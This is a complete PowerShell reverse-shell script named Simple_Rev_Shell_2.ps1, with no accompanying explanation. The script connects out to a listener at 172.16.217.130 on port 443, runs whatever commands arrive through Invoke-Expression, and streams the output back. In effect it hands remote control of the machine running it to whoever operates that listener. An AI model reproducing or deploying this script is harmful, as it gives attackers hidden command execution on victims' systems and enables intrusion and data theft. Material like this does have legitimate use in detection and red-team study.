Simple_Rev_Shell_2.ps1

$client = New-Object System.Net.Sockets.TCPClient('172.16.217.130',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String);
$result = $sendback + 'PS '+ (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($result);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()